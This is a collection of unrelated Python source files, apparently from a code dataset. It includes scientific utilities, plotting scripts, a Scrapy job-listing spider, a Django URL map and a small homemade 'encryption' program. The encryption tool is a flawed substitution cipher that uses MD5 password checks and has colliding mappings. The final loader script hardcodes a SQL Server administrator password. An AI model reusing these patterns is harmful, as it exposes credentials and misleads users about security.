bar.progress(100)","sub_path":"game_of_life_app.py","file_name":"game_of_life_app.py","file_ext":"py","file_size_in_byte":3043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"540550684","text":"\"\"\"\nnitrogen.pes\n------------\n\nPotential energy surface utilities and library.\n\n\"\"\"\n\nimport importlib \nimport nitrogen.dfun as dfun \nimport nitrogen.linalg as linalg\nimport nitrogen.constants as constants \nimport numpy as np \nimport nitrogen.coordsys as coordsys \n\n\ndef loadpes(pesname):\n \"\"\"\n Load built-in PES.\n\n Parameters\n ----------\n pesname : str\n PES name.\n\n Returns\n -------\n pes : DFun\n The PES as a DFun object.\n\n \"\"\"\n \n try : \n mod = importlib.import_module(\"nitrogen.pes.library.\" + pesname)\n except ModuleNotFoundError:\n raise ValueError(\"PES name is not recognized.\")\n \n \n return mod.PES\n\n\ndef curvVib(Q0, pes, cs, masses, mode = 'bodyframe'):\n \n \"\"\"\n Calculate curvilinear vibrational normal coordinates\n and frequencies at a stationary point.\n\n Parameters\n ----------\n Q0 : ndarray\n The stationary point coordinates.\n pes : DFun\n Potential energy surface function.\n cs : CoordSys\n Coordinate system.\n masses : array_like\n Coordinate system masses.\n mode : {'bodyframe'}\n Coordinate frame mode. \n 'bodyframe' treats the `cs` coordinate system as \n the body-fixed frame.\n 'bodyframe' is the default.\n\n Returns\n -------\n omega : ndarray\n The harmonic frequencies (times :math:`\\hbar`).\n Negative frequencies are returned for imaginary frequencies.\n nctrans : LinearTrans\n The normal coordinate transformation.\n \n \"\"\"\n \n nQ = pes.nx # Number of coordinates\n \n F = pes.hes(Q0)[0] # Calculate PES hessian\n \n g = cs.Q2g(Q0, masses = masses, mode = mode) # Calculate metric tensor \n G,_ = dfun.sym2invdet(g,0,1) # Invert metric tensor\n G = linalg.packed.symfull(G[0]) # Convert to full value matrix\n Gvib = G[:nQ,:nQ] # Extract vibrational block\n\n GF = Gvib @ F # Calculate GF matrix\n\n w,U = np.linalg.eig(GF) # Diagonalize GF matrix\n\n omega = constants.hbar * np.sqrt(np.abs(w)) # Calculate harmonic energies\n omega[w < 0] = -omega[w < 0] # Imaginary frequencies will be flagged as negative\n \n sort_idx = np.argsort(omega)\n omega = omega[sort_idx]\n U = U[:,sort_idx] \n \n # Calculate the normal coordinate transformation matrix\n # for the \"dimensionless normal coordinates\" which are\n # normalized as V = 0.5 * omega * q^2\n #\n T = U.copy()\n for i in range(nQ):\n ui = U[:,i] \n Fii = ui.T @ F @ ui\n T[:,i] *= np.sqrt( np.abs(omega[i] / Fii) )\n\n Qpstr = [f\"q{i:d}\" for i in range(nQ)]\n \n nctrans = coordsys.LinearTrans(T, t = Q0, Qpstr = Qpstr, name = 'Norm. Coord.')\n \n return omega, nctrans","sub_path":"nitrogen/pes/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"421262981","text":"#!/usr/bin/env python2.7\nimport os\nimport optparse\nimport sys\nimport subprocess\nimport signal\nimport time\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef read_log(filename):\n\truntimes = []\n\treceived = []\n\tdropped = []\n\ttime = []\n\twith open(filename) as f:\n\t\tfor line in f:\n\t\t\tif line.find(\"[RESULT]\") != -1:\n\t\t\t\tnumbers = line.split(' ')\n\t\t\t\treceived.append(float(numbers[1]))\n\t\t\t\tdropped.append(float(numbers[2]))\n\t\t\t\ttime.append(float(numbers[3]))\n\n\treturn runtimes, received, dropped, time \n\ndef read_data():\n gpu = []\n memory = []\n r1=0\n r2=0\n i=0\n\n while i<20:\n time.sleep(0.1)\n p=os.popen('nvidia-smi -i 1 --query-gpu=utilization.gpu --format=csv,noheader','r')\n line=p.readlines()[0]\n r1=int(line.split('%')[0])\n gpu.append(r1)\n\n q=os.popen('nvidia-smi -i 1 --query-gpu=utilization.memory --format=csv,noheader','r')\n line=q.readlines()[0]\n r2=int(line.split('%')[0])\n memory.append(r2)\n i=i+1\n return gpu,memory\ndef draw():\n\n\tnetstar=[8.164,10.608,12.822,13.82]\n\n#\topennf=map(float,opennf)\n\tcallback=[8.5,10.7,13.6,14.58]\n\n\t\n\n#\tnfa=map(float,nfa)\n\t\n\tplt.style.use('ggplot')#seaborn-white')\n\n\tfig,ax1 = plt.subplots()\n\tfig = plt.figure(1)\n\n\truntimes = [1,2,3,4,5,6,7,8,9,10,11,12]\n\tcolors = ['r','b','y','m','c','g','r','b','y']\n\tstyles = ['-.', '--', ':', '-', '--', ':', '-','--']\n\tindex = 0;\n\n\tx = np.arange(4)\n\n\t\n\tlabels= [\"1read\",\"1read-1write\",\"2read-2write\",\"3read-3write\"]\n\n\twidth = 0.3\n\t#x1 = map(lambda f:f+width, x)\n\t#x2 = map(lambda f:f+2*width, x)\n\n\tax1.bar(x+width, netstar, width, label=\"Netstar\", hatch=\"/\")\n\tax1.bar(x+2*width, callback, width, label=\"Callback\", hatch=\"\\\\\")\n\t\n\n\tplt.xticks(x+1.5*width,labels)\n\tfor tl in ax1.get_xticklabels():\n\t\ttl.set_fontsize(13)\n\t\ttl.set_fontstyle('normal')\n\tfor tl in ax1.get_yticklabels():\n\t\ttl.set_fontsize(20)\n\t\ttl.set_fontstyle('normal')\n\n\t# Now add the legend with some customizations.\n\tlegend = ax1.legend(loc='upper left', shadow=False)\n\t# Set the fontsize\n\tfor label in legend.get_texts():\n\t\tlabel.set_fontsize(20)\n\n\tfor label in legend.get_lines():\n\t\tlabel.set_linewidth(3) # the legend line width\n\n\tplt.xlabel(\"Database read-write per packet\", fontsize=20, style='normal', color='black')\n\tplt.ylabel(\"Million database\\noperations per second\", fontsize=20, style='normal', color='black')\n\tplt.savefig(\"read_write_speed.pdf\", bbox_inches='tight', pad_inches=0)\n\tplt.show()\n\ndef main():\n\n\t#runtimes,received,dropped,time = read_log(\"temp\")\n\n\tdraw() \n\n\n\nif __name__ == \"__main__\" :\n\tmain()","sub_path":"chap-netstar/figure_src/exp4_database_speed.py","file_name":"exp4_database_speed.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"616533974","text":"import sys\nimport uerrno\nimport array\nimport uctypes\nfrom utils import fast_copy\ntry:\n import uos_vfs as uos\nexcept ImportError:\n import uos\ntry:\n uos.VfsFat\nexcept AttributeError:\n print(\"SKIP\")\n sys.exit()\n\nclass RamBdev:\n\n SEC_SIZE = 512\n\n def __init__(self, blocks):\n self.data = bytearray(blocks * self.SEC_SIZE)\n\n def readblocks(self, n, buf):\n address_base = n * self.SEC_SIZE\n dst_addr = uctypes.addressof(buf)\n src_addr = uctypes.addressof(self.data) + address_base\n fast_copy(dst_addr, src_addr, self.SEC_SIZE)\n\n def writeblocks(self, n, buf):\n address_base = n * self.SEC_SIZE\n dst_addr = uctypes.addressof(self.data) + address_base\n src_addr = uctypes.addressof(buf)\n fast_copy(dst_addr, src_addr, self.SEC_SIZE)\n\n def ioctl(self, op, arg):\n #print(\"ioctl(%d, %r)\" % (op, arg))\n if op == 4: # BP_IOCTL_SEC_COUNT\n return len(self.data) // self.SEC_SIZE\n if op == 5: # BP_IOCTL_SEC_SIZE\n return self.SEC_SIZE\n","sub_path":"ameba/scripts/rambdev.py","file_name":"rambdev.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"416950489","text":"######import######\nimport hashlib\nfrom random import randint\nimport os\n\n##################\n\n########def#######\ndef r(stra):\n if stra == 'A':\n return \"amd081\"\n elif stra == 'a':\n return \"cdef081\"\n elif stra == 'B':\n return \"shs081\"\n elif stra == 'b':\n return \"shshb081\"\n elif stra == 'E':\n return \"hsahs081\"\n elif stra == 'e':\n return \"sh081\"\n elif stra == \"F\":\n return \"wws081\"\n elif stra == \"f\":\n return \"htps081\"\n elif stra == \"G\":\n return \"rtf081\"\n elif stra == \"g\":\n return \"txt081\"\n elif stra == \"H\":\n return \"exe081\"\n elif stra == \"h\":\n return \"baba081\"\n elif stra == \"I\":\n return \"dada081\"\n elif stra == \"i\":\n return \"ssh081\"\n elif stra == \"J\":\n return \"vnc081\"\n elif stra == \"j\":\n return \"cps081\"\n elif stra == \"K\":\n return \"rst081\"\n elif stra == \"k\":\n return \"amd082\"\n elif stra == \"L\":\n return \"cdef082\"\n elif stra == \"l\":\n return \"cdef082\"\n elif stra == \"M\":\n return \"shshb082\"\n elif stra == \"m\":\n return \"hsahs082\"\n elif stra == \"N\":\n return \"sh082\"\n elif stra == \"n\":\n return \"wws082\"\n elif stra == \"O\":\n return \"htps082\"\n elif stra == \"o\":\n return \"rtf082\"\n elif stra == \"P\":\n return \"txt082\"\n elif stra == \"p\":\n return \"exe082\"\n elif stra == \"Q\":\n return \"baba082\"\n elif stra == \"q\":\n return \"dada082\"\n elif stra == \"R\":\n return \"ssh082\"\n elif stra == \"r\":\n return \"vnc082\"\n elif stra == \"S\":\n return \"cps082\"\n elif stra == \"s\":\n return \"rst082\"\n elif stra == \"T\":\n return \"amd083\"\n elif stra == \"t\":\n return \"cdef083\"\n elif stra == \"U\":\n return \"shs083\"\n elif stra == \"u\":\n return \"shshb083\"\n elif stra == \"V\":\n return \"hsahs083\"\n elif stra == \"v\":\n return \"sh083\"\n elif stra == \"W\":\n return \"wws083\"\n elif stra == \"w\":\n return \"htps083\"\n elif stra == \"X\":\n return \"rtf083\"\n elif stra == \"x\":\n return \"txt083\"\n elif stra == \"Y\":\n return \"exe083\"\n elif stra == \"y\":\n return \"baba083\"\n elif stra == \"Z\":\n return \"dada083\"\n elif stra == \"z\":\n return \"ssh083\"\n elif stra == \"1\":\n return \"vnc083\"\n elif stra == \"2\":\n return \"cps083\"\n elif stra == \"3\":\n return \"rst083\"\n elif stra == \"4\":\n return \"amd084\"\n elif stra == \"5\":\n return \"cdef084\"\n elif stra == \"6\":\n return \"shs084\"\n elif stra == \"7\":\n return \"shshb084\"\n elif stra == \"8\":\n return \"hsahs084\"\n elif stra == \"9\":\n return \"sh084\"\n elif stra == \"0\":\n return \"wws084\"\n elif stra == \".\":\n return \"htps084\"\n elif stra == \"C\":\n return \"rtf084\"\n elif stra == \"c\":\n return \"txt084\"\n elif stra == \"D\":\n return \"exe084\"\n elif stra == \"d\":\n return \"baba084\"\n\n else:\n return \"暂不支持此符号\"\n\n\ndef w(strb):\n if strb == r(\"A\"):\n return \"A\"\n elif strb == r(\"a\"):\n return \"a\"\n elif strb == r(\"B\"):\n return \"B\"\n elif strb == r(\"b\"):\n return \"b\"\n elif strb == r(\"C\"):\n return \"C\"\n elif strb == r(\"c\"):\n return \"c\"\n elif strb == r(\"D\"):\n return \"D\"\n elif strb == r(\"d\"):\n return \"d\"\n elif strb == r(\"E\"):\n return \"E\"\n elif strb == r(\"e\"):\n return \"e\"\n elif strb == r(\"F\"):\n return \"F\"\n elif strb == r(\"f\"):\n return \"f\"\n elif strb == r(\"G\"):\n return \"G\"\n elif strb == r(\"g\"):\n return \"g\"\n elif strb == r(\"H\"):\n return \"H\"\n elif strb == r(\"h\"):\n return \"h\"\n elif strb == r(\"I\"):\n return \"I\"\n elif strb == r(\"i\"):\n return \"i\"\n elif strb == r(\"J\"):\n return \"J\"\n elif strb == r(\"j\"):\n return \"j\"\n elif strb == r(\"K\"):\n return \"k\"\n elif strb == r(\"k\"):\n return \"k\"\n elif strb == r(\"L\"):\n return \"l\"\n elif strb == r(\"l\"):\n return \"l\"\n elif strb == r(\"M\"):\n return \"M\"\n elif strb == r(\"m\"):\n return \"m\"\n elif strb == r(\"N\"):\n return \"n\"\n elif strb == r(\"n\"):\n return \"n\"\n elif strb == r(\"O\"):\n return \"O\"\n elif strb == r(\"o\"):\n return \"o\"\n elif strb == r(\"P\"):\n return \"P\"\n elif strb == r(\"p\"):\n return \"p\"\n elif strb == r(\"Q\"):\n return \"Q\"\n elif strb == r(\"q\"):\n return \"q\"\n elif strb == r(\"R\"):\n return \"R\"\n elif strb == r(\"r\"):\n return \"r\"\n elif strb == r(\"S\"):\n return \"S\"\n elif strb == r(\"s\"):\n return \"s\"\n elif strb == r(\"T\"):\n return \"T\"\n elif strb == r(\"t\"):\n return \"t\"\n elif strb == r(\"U\"):\n return \"U\"\n elif strb == r(\"u\"):\n return \"u\"\n elif strb == r(\"V\"):\n return \"V\"\n elif strb == r(\"v\"):\n return \"v\"\n elif strb == r(\"W\"):\n return \"W\"\n elif strb == r(\"w\"):\n return \"w\"\n elif strb == r(\"X\"):\n return \"X\"\n elif strb == r(\"x\"):\n return \"x\"\n elif strb == r(\"Y\"):\n return \"Y\"\n elif strb == r(\"y\"):\n return \"y\"\n elif strb == r(\"Z\"):\n return \"Z\"\n elif strb == r(\"z\"):\n return \"z\"\n elif strb == r(\"1\"):\n return \"1\"\n elif strb == r(\"2\"):\n return \"2\"\n elif strb == r(\"3\"):\n return \"3\"\n elif strb == r(\"4\"):\n return \"4\"\n elif strb == r(\"5\"):\n return \"5\"\n elif strb == r(\"6\"):\n return \"6\"\n elif strb == r(\"7\"):\n return \"7\"\n elif strb == r(\"8\"):\n return \"8\"\n elif strb == r(\"9\"):\n return \"9\"\n elif strb == r(\"0\"):\n return \"0\"\n elif strb == r(\".\"):\n return \".\"\n\n\n\n\n else:\n return \"解密错误\"\n\n\ndef file(filename):\n f = open(filename, \"a\")\n f.close()\n f = open(filename, \"r\")\n z = f.readlines()\n z2 = []\n z3 = \"\"\n for i in z:\n i = list(i)\n del i[-1:]\n for i2 in i:\n z3 = z3 + i2\n z2.append(z3)\n del z3\n z3 = \"\"\n globals()\n\n f.close()\n return z2\n\ndef hashmd5(s2a):\n hash = hashlib.md5(f\"!@{s2a}\".encode(\"utf-8\")).hexdigest()\n return hash\n\ndef jmmd5(stra):\n return hashmd5(stra)\ndef yz(stra,md5):\n if jmmd5(stra) == md5:\n return True\n else:\n return False\ndef filewrite(filename,nr):\n f = open(filename,\"w\")\n f.write(nr)\n f.close()\ndef fileread(filename):\n f = open(filename,\"r\")\n return f.read()\n\ndef filefind(filename):\n try:\n f = open(filename,\"r\")\n except:\n return False\n else:\n f.close()\n return True\ndef lpsc(cd):\n zz = \"\"\n zsb = (\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\",\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\")\n for i in range(cd):\n zz = zz + zsb[randint(0,len(zsb)-1)]\n return zz\n\n\n####################\n\n##########main########\n\nif filefind(\"dl.dll\"):\n if filefind(\"dll.dll\"):\n lpa = input(\"请输入令牌:\")\n os.system(\"cls\")\n if jmmd5(lpa) == fileread(\"dll.dll\"):\n os.remove(\"dll.dll\")\n jm12 = input(\"解密请输入1,加密请输入2:\")\n if jm12 == \"1\":\n jmt = \"\"\n f = open(\"加密信息.txt\", \"a\")\n f.close()\n jma = input(\"请将加密信息添加到一个名为加密信息的文本文件里,格式为一个加密信息一行,OK后请按回车\")\n x = file(\"加密信息.txt\")\n filea = \"\"\n for i in x:\n filea = filea + w(i)\n f = open(\"解密.txt\", \"w\")\n f.write(filea)\n f.close()\n input(\"解密完毕,请到一个名为解密的文本文件里。\")\n\n\n\n\n\n elif jm12 == \"2\":\n jm = input(\"请输入需要加密的内容:\")\n jmok = \"\"\n for i in jm:\n jmok = jmok + r(i) + \"\\n\"\n\n else:\n f = open(\"加密.txt\", \"w+\")\n f.write(jmok)\n f.close()\n input(f\"成功,加密内容以写到名为加密的文本文件里了\")\n\n else:\n input(\"ERROR\")\n else:\n input(\"令牌错误\")\n else:\n ypass = input(\"请输入密码:\")\n os.system(\"cls\")\n if yz(ypass,fileread(\"dl.dll\")):\n lp = lpsc(100)\n filewrite(\"令牌.txt\",lp)\n filewrite(\"dll.dll\",jmmd5(lp))\n input(\"令牌已生成,请去令牌.txt寻找,注意查收\")\n else:\n input(\"密码错误\")\nelse:\n mm = input(\"请输入你要设定的密码:\")\n os.system(\"cls\")\n mmqd = input(\"请再次输入你要设定的密码:\")\n os.system(\"cls\")\n if mm == mmqd:\n filewrite(\"dl.dll\",jmmd5(mm))\n input(\"密码设定成功,请从新启动程序\")\n quit()\n else:\n input(\"两次密码不相同\")\n quit()\n\n\n\n\n\n\n\n########################\n\n","sub_path":"python3.8.2小型加密程序.py","file_name":"python3.8.2小型加密程序.py","file_ext":"py","file_size_in_byte":9255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"591216859","text":"from django.urls import path, include, re_path\nfrom . import views\n\napp_name = 'login'\n\nurlpatterns = [\n re_path(r'login_page/', views.login_page, name='login_page'),\n re_path(r'login_handle', views.login_handle),\n re_path(r'register_page/', views.register_page, name='register_page'),\n re_path(r'register_handle', views.register_handle, name='register_handle'),\n re_path(r'check_username', views.check_username),\n re_path(r'verifycode', views.verifycode, name='verifycode'),\n re_path(r'logout', views.logout, name='logout'),\n re_path(r'user_center/$', views.user_center, name='user_center'),\n re_path(r'user_center/info_handle$', views.info_handle),\n re_path(r'user_center/my_order/$', views.my_order, name='my_order'),\n\n]","sub_path":"login/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"393730552","text":"\nimport scipy.io as sio\nimport numpy as np\nimport pandas as pd\nimport time\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.preprocessing import scale,StandardScaler\nfrom sklearn.metrics import roc_curve, auc\nfrom dimension_reduction import KPCA,LLE\nimport utils.tools as utils\n\n\nfrom gcforest.gcforest import GCForest\nfrom gcforest.utils.config_utils import load_json\n\nstart=time.time()\npath1='gcforest4.json'\n\nconfig = load_json(path1)\ngc = GCForest(config)\nextraction= sio.loadmat('yeast_feature_end.mat')\nproteinA=extraction.get('feature_A')\nprotein_A=np.array(proteinA)\nproteinB=extraction.get('feature_B')\nprotein_B=np.array(proteinB)\nX_=np.concatenate((protein_A,protein_B),axis=1)\nX_=np.array(X_)\n[row,column]=np.shape(X_)\nlabel_P=np.ones(int(row/2))\nlabel_N=np.zeros(int(row/2))\nlabel_=np.hstack((label_P,label_N))\ny_raw=np.mat(label_)\ny_raw=np.transpose(y_raw)\ny_=np.array(y_raw)\ndef get_shuffle(dataset,label,random_state): \n #shuffle data\n np.random.seed(random_state)\n index = [i for i in range(len(label))]\n np.random.shuffle(index)\n dataset = dataset[index]\n label = label[index]\n return dataset,label \nX_=scale(X_)\nnew_X=KPCA(X_,percentage=0.90)\nX_shuffle,y=get_shuffle(new_X,y_,random_state=1)\nX_initial=X_shuffle\n#y_raw=np.mat(label_)\n#y=np.transpose(y_raw)\n#X_train_origin, X_test_origin, y_train, y_test = train_test_split(X, y,test_size=0.2)\nX = X_initial[:, np.newaxis,np.newaxis,:]\nskf= StratifiedKFold(n_splits=5)\nsepscores = []\nytest=np.ones((1,2))*0.5\nyscore=np.ones((1,2))*0.5\nfor train, test in skf.split(X,y): \n X_train_enc=gc.fit_transform(X[train], y[train])\n y_score=gc.predict_proba(X[test])\n yscore=np.vstack((yscore,y_score))\n y_test=utils.to_categorical(y[test]) \n ytest=np.vstack((ytest,y_test))\n fpr, tpr, _ = roc_curve(y_test[:,0], y_score[:,0])\n roc_auc = auc(fpr, tpr)\n y_class= utils.categorical_probas_to_classes(y_score)\n y_test_tmp=y[test]\n acc, precision,npv, sensitivity, specificity, mcc,f1 = utils.calculate_performace(len(y_class), y_class, y_test_tmp)\n sepscores.append([acc, precision,npv, sensitivity, specificity, mcc,f1,roc_auc])\n print('gcforest:acc=%f,precision=%f,npv=%f,sensitivity=%f,specificity=%f,mcc=%f,f1=%f,roc_auc=%f'\n % (acc, precision,npv, sensitivity, specificity, mcc,f1, roc_auc))\nscores=np.array(sepscores)\nprint(\"acc=%.2f%% (+/- %.2f%%)\" % (np.mean(scores, axis=0)[0]*100,np.std(scores, axis=0)[0]*100))\nprint(\"precision=%.2f%% (+/- %.2f%%)\" % (np.mean(scores, axis=0)[1]*100,np.std(scores, axis=0)[1]*100))\nprint(\"npv=%.2f%% (+/- %.2f%%)\" % (np.mean(scores, axis=0)[2]*100,np.std(scores, axis=0)[2]*100))\nprint(\"sensitivity=%.2f%% (+/- %.2f%%)\" % (np.mean(scores, axis=0)[3]*100,np.std(scores, axis=0)[3]*100))\nprint(\"specificity=%.2f%% (+/- %.2f%%)\" % (np.mean(scores, axis=0)[4]*100,np.std(scores, axis=0)[4]*100))\nprint(\"mcc=%.2f%% (+/- %.2f%%)\" % (np.mean(scores, axis=0)[5]*100,np.std(scores, axis=0)[5]*100))\nprint(\"f1=%.2f%% (+/- %.2f%%)\" % (np.mean(scores, axis=0)[6]*100,np.std(scores, axis=0)[6]*100))\nprint(\"roc_auc=%.2f%% (+/- %.2f%%)\" % (np.mean(scores, axis=0)[7]*100,np.std(scores, axis=0)[7]*100))\n\nresult1=np.mean(scores,axis=0)\nH1=result1.tolist()\nsepscores.append(H1)\nresult=sepscores\nrow=yscore.shape[0]\n#column=data.shape[1]\nyscore=yscore[np.array(range(1,row)),:]\nyscore_sum = pd.DataFrame(data=yscore)\nyscore_sum.to_csv('yeast_KPCA_yscore.csv')\nytest=ytest[np.array(range(1,row)),:]\nytest_sum = pd.DataFrame(data=ytest)\nytest_sum.to_csv('yeast_KPCA_ytest.csv')\nfpr, tpr, _ = roc_curve(ytest[:,0], yscore[:,0])\nauc_score=np.mean(scores, axis=0)[7]\nlw=2\nplt.plot(fpr, tpr, color='darkorange',\nlw=lw, label='ROC (area = %0.2f%%)' % auc_score)\nplt.plot([0, 1], [0, 1], color='navy', lw=lw, linestyle='--')\nplt.xlim([0.0, 1.05])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('Receiver operating characteristic')\nplt.legend(loc=\"lower right\")\nplt.show()\ndata_csv = pd.DataFrame(data=result)\ndata_csv.to_csv('yeast_KPCA_result.csv')\ninterval = (time.time() - start)\nprint(\"Time used:\",interval)\n\n\n","sub_path":"Dimension_reduction/yeast_KPCA.py","file_name":"yeast_KPCA.py","file_ext":"py","file_size_in_byte":4306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"533307782","text":"from pyrealtime.input_layers import InputLayer\nfrom pyrealtime.layer import LayerSignal\nfrom pyrealtime.layer_manager import LayerManager\nfrom pyrealtime.plot_layer import SimplePlotLayer\nfrom pyrealtime.utility_layers import BufferLayer, PrintLayer\n\n\ndef gen_dummy_data(counter):\n data = counter % 1000\n if counter == 100:\n return LayerSignal.STOP\n return data\n\n\ndef main():\n serial_layer = InputLayer(gen_dummy_data, name=\"dummy input\")\n buffer = BufferLayer(serial_layer, buffer_size=10, name=\"buffer\")\n PrintLayer(buffer)\n SimplePlotLayer(buffer, ylim=(0, 1000))\n LayerManager.run()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"examples/stop.py","file_name":"stop.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"57844761","text":"#!/usr/bin/env python\nfrom pylab import *\nfrom pyraf import iraf\nimport pyfits\nimport glob\n\nfile_list1=glob.glob('HICA*ch1b.fits')\nfile_list2=glob.glob('HICA*ch2b.fits')\nfile_list3=glob.glob('HICA*ch3b.fits')\nfile_list4=glob.glob('HICA*ch4b.fits')\n\nfile_list1=list(file_list1)\nfile_list2=list(file_list2)\nfile_list3=list(file_list3)\nfile_list4=list(file_list4)\n\nfile_list1.sort()\nfile_list2.sort()\nfile_list3.sort()\nfile_list4.sort()\n\nfor filename1 in file_list1: #loop to all the science images (ch1b)\n fname1=filename1[:-5]+'f.fits'\n #print filename1,fname1\n iraf.imarith(filename1,'/','flat_ch1',fname1)#make flat field by dividing flat\n\nfor filename2 in file_list2: #loop to all the science images (ch2b)\n fname2=filename2[:-5]+'f.fits'\n #print filename1,fname2\n iraf.imarith(filename2,'/','flat_ch2',fname2)\n\nfor filename3 in file_list3: #loop to all the science images (ch3b)\n fname3=filename3[:-5]+'f.fits'\n #print filename1,fname3\n iraf.imarith(filename3,'/','flat_ch3',fname3)\n\nfor filename4 in file_list4: #loop to all the science images (ch4b)\n fname4=filename4[:-5]+'f.fits'\n #print filename4,fname4\n iraf.imarith(filename4,'/','flat_ch4',fname4)\n\n #hdu = pyfits.PrimaryHDU(image1)\n #hdulist = pyfits.HDUList([hdu])\n #hdulist.writeto(fname1+'bf.fits') #make it as 'HICA..ch1bf.fits' instead\n #hdulist.close()\n","sub_path":"test/test2/test3/3test_flat.py","file_name":"3test_flat.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"62537803","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author:Keawen\nclass Cat :\n def eat(self):\n #哪个对象的调用的方法,self就是哪一个对象的引用\n print('%s爱吃鱼'%self.name)\n def drink(self):\n print('%s爱喝水'%self.name)\n #创建猫对象\ntom = Cat()\n#可以使用 .属性名 利用赋值语句就可以了\ntom.name = 'tom'\ntom.eat()\ntom.drink()\nlazy_cat = Cat()\nlazy_cat.name= 'mao'\n\nlazy_cat.drink()\nlazy_cat.eat()\nprint(lazy_cat)\n\n# 哪个对象的调用的方法,self就是哪一个对象的引用\n#在类封装的方法内部,self表示当前调用方法的对象自己\n#调用方法时,程序员不需要传递self 的参数\n#在方法的内部1 可以通过self访问对象的属性\n #2 也可以通过self.调用其他的对象方法","sub_path":"08面向对象/hm_03_设置对象属性_self.py","file_name":"hm_03_设置对象属性_self.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"301920504","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport urllib.parse\nfrom tencent.items import TencentItem\n\n\nclass TtSpider(scrapy.Spider):\n name = 'tt'\n allowed_domains = ['hr.tencent.com']\n start_urls = ['https://hr.tencent.com/position.php?&start=0#a']\n\n def parse(self, response):\n # 1 提取当前页面数据\n # 先分组,在提取\n tr_list = response.xpath(\"//table[@class='tablelist']/tr\")[1:-1]\n for tr in tr_list:\n # item = TencentItem()\n item = {}\n item[\"position_name\"] = tr.xpath(\"./td[1]/a/text()\").extract_first()\n item[\"position_href\"] = tr.xpath(\"./td[1]/a/@href\").extract_first()\n item[\"position_cate\"] = tr.xpath(\"./td[2]/text()\").extract_first()\n item[\"need_num\"] = tr.xpath(\"./td[3]/text()\").extract_first()\n item[\"location\"] = tr.xpath(\"./td[4]/text()\").extract_first()\n item[\"publish_date\"] = tr.xpath(\"./td[5]/text()\").extract_first()\n\n yield item\n # 2 翻页,请求下一页\n next_url = response.xpath(\"//a[@id='next']/@href\").extract_first()\n if next_url != \"javascript:;\": # 判断是不是下一页\n next_url = \"https://hr.tencent.com/\" + next_url\n # 通过urllib.parse.urljoin()进行url地址拼接\n # next_url = urllib.parse.urljoin(response.url,next_url)\n yield scrapy.Request( # 构造request对象,通过yield交给引擎\n next_url,\n callback=self.parse\n )\n # 根据rensponse的url地址,对next_url进行url地址的拼接,构造请求\n # response.follow(next_url,callback=self.parse)\n","sub_path":"tencent/tencent/spiders/tt.py","file_name":"tt.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"108003480","text":"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 15 14:38:26 2020\n\n@author: HUAWEI\n\"\"\"\n\n\n#%%dbConnectionStr = None\nerrtxtFilePath = None\nError=0\nExcelfilepath=None\ndef ErrorMessage(TrustId,TrustCode,TrustName,Excelfilepath,ErrorInformation):\n wb = openpyxl.load_workbook(errtxtFilePath) #读取xlsx文件\n ws=wb['Sheet']\n maxrow=ws.max_row\n maxrow+=1\n # print(maxrow)\n ws.cell(maxrow,3,TrustId).value\n ws.cell(maxrow,4,TrustCode).value\n ws.cell(maxrow,5,TrustName).value\n ws.cell(maxrow,6,Excelfilepath).value\n ws.cell(maxrow,7,ErrorInformation).value\n ws.cell(maxrow,9,2).value \n wb.save(errtxtFilePath)\n\n \n \ndef PoolDistributions(Excelfilepath,FileTrustCode,TrustName):\n \n global TrustId,Error,errtxtFilePath\n Error=0\n conn = pymssql.connect(host='172.16.6.143\\mssql', user='sa', password='PasswordGS2017',\n database='PortfolioManagement', charset='utf8')\n b1=conn.cursor()\n try:\n selectId=\"select TrustId from TrustManagement.Trust where TrustCode='{}'\".format(FileTrustCode)\n b1.execute(selectId)\n TrustId=b1.fetchone()[0]\n except:\n Error=1\n C0='文件TrustCode【{}】与系统TrustCoden不匹配请检查!'.format(FileTrustCode)\n ErrorMessage('#',FileTrustCode,TrustName,Excelfilepath,C0)\n print(TrustName,C0)\n sys.exit(1)\n \n data=pd.read_excel(Excelfilepath,skiprows=1,errors='ignore')\n data=data.iloc[:,:12]\n PoolDistributions_columns=['PaymentPeriodID','资产池分布类型','DistributionType','DatabaseItem','BucketSequenceNo','Bucket','Amount','AmountPercentage','Count','CountPercentage','CustomerCount','CustomerCountPercentage']\n \n for 